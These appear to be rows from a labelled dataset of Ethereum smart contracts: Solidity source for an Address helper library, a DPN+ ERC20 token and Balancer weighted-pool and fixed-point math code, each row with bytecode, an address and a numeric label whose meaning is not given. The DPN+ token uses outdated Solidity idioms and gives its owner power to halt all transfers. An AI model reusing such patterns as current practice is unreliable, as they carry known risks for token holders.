* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d221cc3601e0fb0c2bc44bcc86f13b8c06982baa8417836a01b927d83e664b5064736f6c63430008070033 | [
5
] |
0xf33d9d6d8ebd81667a331193758d54d13d508013 | contract DPNPlusToken {
string public name = "DIPNET PLUS"; // token name
string public symbol = "DPN+"; // token symbol
uint256 public decimals = 8; // token digit
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
uint256 public totalSupply = 0;
bool public stopped = false;
uint256 constant valueFounder = 10000000000000000000;
address public owner = 0x0;
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert (!stopped);
_;
}
modifier validAddress {
assert(0x0 != msg.sender);
_;
}
function DPNPlusToken() {
owner = msg.sender;
totalSupply = valueFounder;
balanceOf[msg.sender] = valueFounder;
Transfer(0x0, msg.sender, valueFounder);
}
function transfer(address _to, uint256 _value) isRunning validAddress returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) isRunning validAddress returns (bool success) {
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(allowance[_from][msg.sender] >= _value);
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) isRunning validAddress returns (bool success) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function stop() isOwner {
stopped = true;
}
function start() isOwner {
stopped = false;
}
function setName(string _name) isOwner {
name = _name;
}
function setSymbol(string _symbol) isOwner{
symbol = _symbol;
}
function burn(uint256 _value) {
require(balanceOf[msg.sender] >= _value);
require(totalSupply >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
}
function transferOwnership(address newOwner) public isOwner {
require(newOwner != address(0));
address origin = owner;
owner = newOwner;
OwnershipTransferred(origin, newOwner);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
} | 0x6060604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f557806307da68f51461017f578063095ea7b31461019457806318160ddd146101ca57806323b872dd146101ef578063313ce5671461021757806342966c681461022a57806370a082311461024057806375f12b211461025f5780638da5cb5b1461027257806395d89b41146102a1578063a9059cbb146102b4578063b84c8246146102d6578063be9a655514610327578063c47f00271461033a578063dd62ed3e1461038b578063f2fde38b146103b0575b600080fd5b341561010057600080fd5b6101086103cf565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014457808201518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018a57600080fd5b61019261046d565b005b341561019f57600080fd5b6101b6600160a060020a0360043516602435610499565b604051901515815260200160405180910390f35b34156101d557600080fd5b6101dd61055f565b60405190815260200160405180910390f35b34156101fa57600080fd5b6101b6600160a060020a0360043581169060243516604435610565565b341561022257600080fd5b6101dd610696565b341561023557600080fd5b61019260043561069c565b341561024b57600080fd5b6101dd600160a060020a0360043516610732565b341561026a57600080fd5b6101b6610744565b341561027d57600080fd5b61028561074d565b604051600160a060020a03909116815260200160405180910390f35b34156102ac57600080fd5b610108610761565b34156102bf57600080fd5b6101b6600160a060020a03600435166024356107cc565b34156102e157600080fd5b61019260046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506108a995505050505050565b341561033257600080fd5b6101926108dd565b341561034557600080fd5b61019260046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061090695505050505050565b341561039657600080fd5b6101dd600160a060020a0360043581169060243516610936565b34156103bb57600080fd5b610192600160a060020a0360043516610953565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b505050505081565b60065433600160a060020a03908116610100909204161461048a57fe5b6006805460ff19166001179055565b60065460009060ff16156104a957fe5b600160a060020a03331615156104bb57fe5b8115806104eb5750600160a060020a03338116600090815260046020908152604080832093871683529290522054155b15156104f657600080fd5b600160a060020a03338116600081815260046020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055481565b60065460009060ff161561057557fe5b600160a060020a033316151561058757fe5b600160a060020a038416600090815260036020526040902054829010156105ad57600080fd5b600160a060020a03831660009081526003602052604090205482810110156105d457600080fd5b600160a060020a03808516600090815260046020908152604080832033909416835292905220548290101561060857600080fd5b600160a060020a03808416600081815260036020908152604080832080548801905588851680845281842080548990039055600483528184203390961684529490915290819020805486900390559091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60025481565b600160a060020a033316600090815260036020526040902054819010156106c257600080fd5b600554819010156106d257600080fd5b600160a060020a03331660008181526003602052604090819020805484900390556005805484900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59083905190815260200160405180910390a250565b60036020526000908152604090205481565b60065460ff1681565b6006546101009004600160a060020a031681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104655780601f1061043a57610100808354040283529160200191610465565b60065460009060ff16156107dc57fe5b600160a060020a03331615156107ee57fe5b600160a060020a0333166000908152600360205260409020548290101561081457600080fd5b600160a060020a038316600090815260036020526040902054828101101561083b57600080fd5b600160a060020a033381166000818152600360205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60065433600160a060020a0390811661010090920416146108c657fe5b60018180516108d99291602001906109f2565b5050565b60065433600160a060020a0390811661010090920416146108fa57fe5b6006805460ff19169055565b60065433600160a060020a03908116610100909204161461092357fe5b60008180516108d99291602001906109f2565b600460209081526000928352604080842090915290825290205481565b60065460009033600160a060020a03908116610100909204161461097357fe5b600160a060020a038216151561098857600080fd5b5060068054600160a060020a0383811661010081810274ffffffffffffffffffffffffffffffffffffffff0019851617909455929091041690817f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610a3357805160ff1916838001178555610a60565b82800160010185558215610a60579182015b82811115610a60578251825591602001919060010190610a45565b50610a6c929150610a70565b5090565b610a8a91905b80821115610a6c5760008155600101610a76565b905600a165627a7a7230582047ed32421a63499973fcb6ef108769b5bca66a92ec1452ac051d909772e1d9590029 | [
38
] |
0xf33fd20B1F6E7D759d50fB0A8a6f800ae780Ca4E | // SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol";
import "@balancer-labs/v2-pool-utils/contracts/BaseMinimalSwapInfoPool.sol";
import "./WeightedMath.sol";
import "./WeightedPoolUserDataHelpers.sol";
/**
* @dev Base class for WeightedPools containing swap, join and exit logic, but leaving storage and management of
* the weights to subclasses. Derived contracts can choose to make weights immutable, mutable, or even dynamic
* based on local or external logic.
*/
abstract contract BaseWeightedPool is BaseMinimalSwapInfoPool, WeightedMath {
using FixedPoint for uint256;
using WeightedPoolUserDataHelpers for bytes;
uint256 private _lastInvariant;
enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }
enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT }
constructor(
IVault vault,
string memory name,
string memory symbol,
IERC20[] memory tokens,
address[] memory assetManagers,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner
)
BasePool(
vault,
// Given BaseMinimalSwapInfoPool supports both of these specializations, and this Pool never registers or
// deregisters any tokens after construction, picking Two Token when the Pool only has two tokens is free
// gas savings.
tokens.length == 2 ? IVault.PoolSpecialization.TWO_TOKEN : IVault.PoolSpecialization.MINIMAL_SWAP_INFO,
name,
symbol,
tokens,
assetManagers,
swapFeePercentage,
pauseWindowDuration,
bufferPeriodDuration,
owner
)
{
// solhint-disable-previous-line no-empty-blocks
}
// Virtual functions
/**
* @dev Returns the normalized weight of `token`. Weights are fixed point numbers that sum to FixedPoint.ONE.
*/
function _getNormalizedWeight(IERC20 token) internal view virtual returns (uint256);
/**
* @dev Returns all normalized weights, in the same order as the Pool's tokens.
*/
function _getNormalizedWeights() internal view virtual returns (uint256[] memory);
/**
* @dev Returns all normalized weights, in the same order as the Pool's tokens, along with the index of the token
* with the highest weight.
*/
function _getNormalizedWeightsAndMaxWeightIndex() internal view virtual returns (uint256[] memory, uint256);
function getLastInvariant() external view returns (uint256) {
return _lastInvariant;
}
/**
* @dev Returns the current value of the invariant.
*/
function getInvariant() public view returns (uint256) {
(, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId());
// Since the Pool hooks always work with upscaled balances, we manually
// upscale here for consistency
_upscaleArray(balances, _scalingFactors());
(uint256[] memory normalizedWeights, ) = _getNormalizedWeightsAndMaxWeightIndex();
return WeightedMath._calculateInvariant(normalizedWeights, balances);
}
function getNormalizedWeights() external view returns (uint256[] memory) {
return _getNormalizedWeights();
}
// Base Pool handlers
// Swap
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) internal view virtual override whenNotPaused returns (uint256) {
// Swaps are disabled while the contract is paused.
return
WeightedMath._calcOutGivenIn(
currentBalanceTokenIn,
_getNormalizedWeight(swapRequest.tokenIn),
currentBalanceTokenOut,
_getNormalizedWeight(swapRequest.tokenOut),
swapRequest.amount
);
}
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) internal view virtual override whenNotPaused returns (uint256) {
// Swaps are disabled while the contract is paused.
return
WeightedMath._calcInGivenOut(
currentBalanceTokenIn,
_getNormalizedWeight(swapRequest.tokenIn),
currentBalanceTokenOut,
_getNormalizedWeight(swapRequest.tokenOut),
swapRequest.amount
);
}
// Initialize
function _onInitializePool(
bytes32,
address,
address,
uint256[] memory scalingFactors,
bytes memory userData
) internal virtual override whenNotPaused returns (uint256, uint256[] memory) {
// It would be strange for the Pool to be paused before it is initialized, but for consistency we prevent
// initialization in this case.
JoinKind kind = userData.joinKind();
_require(kind == JoinKind.INIT, Errors.UNINITIALIZED);
uint256[] memory amountsIn = userData.initialAmountsIn();
InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length);
_upscaleArray(amountsIn, scalingFactors);
(uint256[] memory normalizedWeights, ) = _getNormalizedWeightsAndMaxWeightIndex();
uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn);
// Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more
// consistent in Pools with similar compositions but different number of tokens.
uint256 bptAmountOut = Math.mul(invariantAfterJoin, _getTotalTokens());
_lastInvariant = invariantAfterJoin;
return (bptAmountOut, amountsIn);
}
// Join
function _onJoinPool(
bytes32,
address,
address,
uint256[] memory balances,
uint256,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
override
whenNotPaused
returns (
uint256,
uint256[] memory,
uint256[] memory
)
{
// All joins are disabled while the contract is paused.
(uint256[] memory normalizedWeights, uint256 maxWeightTokenIndex) = _getNormalizedWeightsAndMaxWeightIndex();
// Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join
// or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas
// computing them on each individual swap
uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances);
uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts(
balances,
normalizedWeights,
maxWeightTokenIndex,
_lastInvariant,
invariantBeforeJoin,
protocolSwapFeePercentage
);
// Update current balances by subtracting the protocol fee amounts
_mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub);
(uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(
balances,
normalizedWeights,
scalingFactors,
userData
);
// Update the invariant with the balances the Pool will have after the join, in order to compute the
// protocol swap fee amounts due in future joins and exits.
_lastInvariant = _invariantAfterJoin(balances, amountsIn, normalizedWeights);
return (bptAmountOut, amountsIn, dueProtocolFeeAmounts);
}
function _doJoin(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory scalingFactors,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
JoinKind kind = userData.joinKind();
if (kind == JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) {
return _joinExactTokensInForBPTOut(balances, normalizedWeights, scalingFactors, userData);
} else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) {
return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData);
} else {
_revert(Errors.UNHANDLED_JOIN_KIND);
}
}
function _joinExactTokensInForBPTOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory scalingFactors,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
(uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut();
InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length);
_upscaleArray(amountsIn, scalingFactors);
uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn(
balances,
normalizedWeights,
amountsIn,
totalSupply(),
getSwapFeePercentage()
);
_require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT);
return (bptAmountOut, amountsIn);
}
function _joinTokenInForExactBPTOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
(uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut();
// Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`.
_require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS);
uint256[] memory amountsIn = new uint256[](_getTotalTokens());
amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut(
balances[tokenIndex],
normalizedWeights[tokenIndex],
bptAmountOut,
totalSupply(),
getSwapFeePercentage()
);
return (bptAmountOut, amountsIn);
}
// Exit
function _onExitPool(
bytes32,
address,
address,
uint256[] memory balances,
uint256,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
override
returns (
uint256 bptAmountIn,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
)
{
(uint256[] memory normalizedWeights, uint256 maxWeightTokenIndex) = _getNormalizedWeightsAndMaxWeightIndex();
// Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens
// out) remain functional.
if (_isNotPaused()) {
// Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous
// join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids
// spending gas calculating the fees on each individual swap.
uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances);
dueProtocolFeeAmounts = _getDueProtocolFeeAmounts(
balances,
normalizedWeights,
maxWeightTokenIndex,
_lastInvariant,
invariantBeforeExit,
protocolSwapFeePercentage
);
// Update current balances by subtracting the protocol fee amounts
_mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub);
} else {
// If the contract is paused, swap protocol fee amounts are not charged to avoid extra calculations and
// reduce the potential for errors.
dueProtocolFeeAmounts = new uint256[](_getTotalTokens());
}
(bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, scalingFactors, userData);
// Update the invariant with the balances the Pool will have after the exit, in order to compute the
// protocol swap fees due in future joins and exits.
_lastInvariant = _invariantAfterExit(balances, amountsOut, normalizedWeights);
return (bptAmountIn, amountsOut, dueProtocolFeeAmounts);
}
function _doExit(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory scalingFactors,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
ExitKind kind = userData.exitKind();
if (kind == ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) {
return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData);
} else if (kind == ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) {
return _exitExactBPTInForTokensOut(balances, userData);
} else {
// ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT
return _exitBPTInForExactTokensOut(balances, normalizedWeights, scalingFactors, userData);
}
}
function _exitExactBPTInForTokenOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private view whenNotPaused returns (uint256, uint256[] memory) {
// This exit function is disabled if the contract is paused.
(uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut();
// Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`.
_require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS);
// We exit in a single token, so we initialize amountsOut with zeros
uint256[] memory amountsOut = new uint256[](_getTotalTokens());
// And then assign the result to the selected token
amountsOut[tokenIndex] = WeightedMath._calcTokenOutGivenExactBptIn(
balances[tokenIndex],
normalizedWeights[tokenIndex],
bptAmountIn,
totalSupply(),
getSwapFeePercentage()
);
return (bptAmountIn, amountsOut);
}
function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData)
private
view
returns (uint256, uint256[] memory)
{
// This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted
// in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency.
// This particular exit function is the only one that remains available because it is the simplest one, and
// therefore the one with the lowest likelihood of errors.
uint256 bptAmountIn = userData.exactBptInForTokensOut();
// Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`.
uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply());
return (bptAmountIn, amountsOut);
}
function _exitBPTInForExactTokensOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory scalingFactors,
bytes memory userData
) private view whenNotPaused returns (uint256, uint256[] memory) {
// This exit function is disabled if the contract is paused.
(uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut();
InputHelpers.ensureInputLengthMatch(amountsOut.length, _getTotalTokens());
_upscaleArray(amountsOut, scalingFactors);
uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut(
balances,
normalizedWeights,
amountsOut,
totalSupply(),
getSwapFeePercentage()
);
_require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT);
return (bptAmountIn, amountsOut);
}
// Helpers
function _getDueProtocolFeeAmounts(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256 maxWeightTokenIndex,
uint256 previousInvariant,
uint256 currentInvariant,
uint256 protocolSwapFeePercentage
) private view returns (uint256[] memory) {
// Initialize with zeros
uint256[] memory dueProtocolFeeAmounts = new uint256[](_getTotalTokens());
// Early return if the protocol swap fee percentage is zero, saving gas.
if (protocolSwapFeePercentage == 0) {
return dueProtocolFeeAmounts;
}
// The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the
// token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool.
dueProtocolFeeAmounts[maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount(
balances[maxWeightTokenIndex],
normalizedWeights[maxWeightTokenIndex],
previousInvariant,
currentInvariant,
protocolSwapFeePercentage
);
return dueProtocolFeeAmounts;
}
/**
* @dev Returns the value of the invariant given `balances`, assuming they are increased by `amountsIn`. All
* amounts are expected to be upscaled.
*/
function _invariantAfterJoin(
uint256[] memory balances,
uint256[] memory amountsIn,
uint256[] memory normalizedWeights
) private view returns (uint256) {
_mutateAmounts(balances, amountsIn, FixedPoint.add);
return WeightedMath._calculateInvariant(normalizedWeights, balances);
}
function _invariantAfterExit(
uint256[] memory balances,
uint256[] memory amountsOut,
uint256[] memory normalizedWeights
) private view returns (uint256) {
_mutateAmounts(balances, amountsOut, FixedPoint.sub);
return WeightedMath._calculateInvariant(normalizedWeights, balances);
}
/**
* @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`.
*
* Equivalent to `amounts = amounts.map(mutation)`.
*/
function _mutateAmounts(
uint256[] memory toMutate,
uint256[] memory arguments,
function(uint256, uint256) pure returns (uint256) mutation
) private view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
toMutate[i] = mutation(toMutate[i], arguments[i]);
}
}
/**
* @dev This function returns the appreciation of one BPT relative to the
* underlying tokens. This starts at 1 when the pool is created and grows over time
*/
function getRate() public view returns (uint256) {
// The initial BPT supply is equal to the invariant times the number of tokens.
return Math.mul(getInvariant(), _getTotalTokens()).divDown(totalSupply());
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./LogExpMath.sol";
import "../helpers/BalancerErrors.sol";
/* solhint-disable private-vars-leading-underscore */
library FixedPoint {
uint256 internal constant ONE = 1e18; // 18 decimal places
uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14)
// Minimum base for the power function when the exponent is 'free' (larger than ONE).
uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18;
function add(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
return product / ONE;
}
function mulUp(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
if (product == 0) {
return 0;
} else {
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((product - 1) / ONE) + 1;
}
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
return aInflated / b;
}
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((aInflated - 1) / b) + 1;
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above
* the true value (that is, the error function expected - actual is always positive).
*/
function powDown(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
if (raw < maxError) {
return 0;
} else {
return sub(raw, maxError);
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below
* the true value (that is, the error function expected - actual is always negative).
*/
function powUp(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
return add(raw, maxError);
}
/**
* @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1.
*
* Useful when computing the complement for values with some level of relative error, as it strips this error and
* prevents intermediate negative values.
*/
function complement(uint256 x) internal pure returns (uint256) {
return (x < ONE) ? (ONE - x) : 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
